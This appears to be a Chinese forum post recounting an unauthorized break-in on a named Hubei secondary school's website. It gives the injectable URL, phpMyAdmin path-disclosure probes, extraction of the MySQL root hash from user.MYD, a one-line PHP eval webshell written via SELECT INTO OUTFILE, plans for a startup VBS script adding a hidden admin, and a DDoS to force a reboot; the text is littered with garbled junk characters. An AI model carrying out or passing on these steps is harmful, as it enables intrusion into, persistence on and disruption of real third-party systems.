友情检测湖北省大治市第一中学

admin

第一眼看去，好像全是html静态的，都知道静态的根本不好日，多点击几个专栏
发现这个：http://www.dyyz.net.cn/celebrate/list.php?id=3  -0  -1 判断后确认存在注入！


6 p1 {8 Z2 c; U- V" |  Y& [9 c' I" b
. P; O. {: U0 V. \% i常规手工不行，尝试突破也不行，利用穿山甲 可以注入：root权限

3 j$ U8 r& ]3 ^3 a那么想可以直接写入shell ，getshell有几个条件：

1、知道站点物理路径

2、有足够大的权限

3、magic_quotes_gpc()=OFF
/ |: T& F+ C6 g: r$ P' q8 {
试着爆绝对路径：
+ s# D( C( c3 ^, v1./phpMyAdmin/index.php?lang[]=1  
2./phpMyAdmin/phpinfo.php  
4 C/ J  z* I- O1 T* x3./load_file()  
4./phpmyadmin/themes/darkblue_orange/layout.inc.php  
5./phpmyadmin/libraries/select_lang.lib.php  
) E& P: }; s# |; g& j6./phpmyadmin/libraries/lect_lang.lib.php  
: R6 v, c0 ?6 h7 {& n8 C  i7./phpmyadmin/libraries/mcrypt.lib.php   
8./phpmyadmin/libraries/export/xls.php  

均不行...........................

- V0 |3 n) n' L& o御剑扫到这个：http://www.dyyz.net.cn//phpinfo.php       获得网站路径：D:/www/phpinfo.php

1 u2 j9 ?7 M$ H$ _/ ?* j. h权限为root，知道网站路径，可是条件3不符合，没法写入shell ，不过服务器存在phpmyadmin

默认不行，尝试万能密码：帐号 'localhost'@'@" 密码空 ，登录失败
) C) g8 w1 ]7 W5 L* l  F$ B
: O, S, F0 H* D  v2 p% V) k8 a. a: b& ^敏感东西：http://202.103.49.66/Admincp.php  社工进不去...........

2 d2 i8 u  i2 ~( F想想root还可以读，读到root密码进phpmyadmin 也可以拿shell
4 Z6 u6 |! ~  H3 z, |1 E) F
http://www.dyyz.net.cn//phpinfo.php  泄露了D:\phpStudy\PHP5\php.ini

% Q) `) r' R3 m0 |  ]自己修改好读root密码的路径：D:\phpStudy\MySQL\Data\mysql\user.MYD
, K% I1 J# s% r; P4 Y+ V+ T2 m
: Q9 G* e# ?2 u& o# w" s成功读到root密码：

3 M8 K! K9 j% ?; R17---- r(0072)
  B- _# W4 o$ y% p' U2 m3 s* {18---- o(006f)
19---- o(006f)
" b6 w7 k) K2 U% \20---- t(0074)
21---- *(002a)
2 B5 _4 W) j& {7 u4 \0 f22---- 8(0038)
23---- 2(0032)
24---- E(0045)
" ?/ m3 `: a3 j. R* l4 i( Q1 H6 l' n25---- 1(0031)
26---- C(0043)
27---- 5(0035)
28---- 8(0038)
29---- 2(0032)
30---- 8(0038)
7 S# I. L) f( v0 K0 L31---- A(0041)
32---- 9(0039)
- V9 `; `; w$ |33---- B(0042)
34---- 5(0035)
35---- 4(0034)
# w- ?6 I; B' N8 i36---- 8(0038)
3 ~/ N- f5 f+ b6 j' _3 S; T37---- 6(0036)
38---- 4(0034)
39---- 9(0039)
0 ]  Z; ?7 Q) e7 j- B8 J4 K5 Z$ h40---- 1(0031)
41---- 1(0031)
! T; H0 H5 Z, S/ U42---- 5(0035)
) R+ G3 F) C8 g" h2 }  Q43---- 3(0033)
" h# x7 R7 ~; |2 r; V44---- 5(0035)
0 D, y: ?- D5 }" A$ F45---- 9(0039)
4 ~+ f; c  `8 t, F46---- 8(0038)
47---- F(0046)
% [7 b  W- T( j& B- M48---- F(0046)
2 P9 ]7 h( r5 {: D4 O: c49---- 4(0034)
' r* ]4 o# g- n50---- F(0046)
51---- 0(0030)
1 G. [. V3 g/ _1 r) w1 l1 q/ M52---- 3(0033)
53---- 2(0032)
9 t2 J; o9 {* q/ m- D' c4 n, C0 f: C54---- A(0041)
' D; N& \5 o# D+ f55---- 4(0034)
" {. I, L  M+ Z+ O# H56---- A(0041)
57---- B(0042)
& U- f, e, G. }6 T4 F58---- *(0044)
1 N* T$ ?& L$ j% k/ I! q( w59---- *(0035)
60---- *(0041)
5 X9 v3 L* `+ V% e! P8 G61---- *0032)
. V& [, f$ K( d6 f/ ?: O0 k
解密后成功登陆phpmyamin
                          
9 \6 u- i' ^: s1 O! l  C
                             
) D4 }7 \# o7 t4 ^, ~' [
找到mysql数据库，执行sql语句：elect '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/daxia.php'

  f2 f$ z6 u& @2 F& V5 |0 z- s( f成功执行，拿下shell，菜刀连接：

服务器不支持asp,aspx,php提权无果...................

但服务器权限很松，上传个远控小马或是一个添加用户的vbs程序到启动里：

服务器上已经有个隐藏帐号了

别名     administrators
注释     管理员对计算机/域有不受限制的完全访问权

4 i8 v( `6 q, d7 o, F

成员

-------------------------------------------------------------------------------
: V4 M7 `: ~( s$ ~* Madmin
# ]0 z# e, t" O; k1 yAdministrator
+ l4 v% e( ~4 \7 P  s. Kslipper$
( ^/ q3 m/ \1 G* }. Rsqluser
命令成功完成。

服务器权限很松，上传个vbs添加用户的到启动，不要用bat，会开机的时候显示运行批处理的。
% f, q9 t5 D& v: T9 \' ?! R) Z
" o( N4 o2 k# s6 ]; I: B& v% hddos服务器重启，不然就只能坐等服务器重启了...............................
4 b. N, q& B# |
      

  ?9 H# g: v* t4 X* U' X* B

angel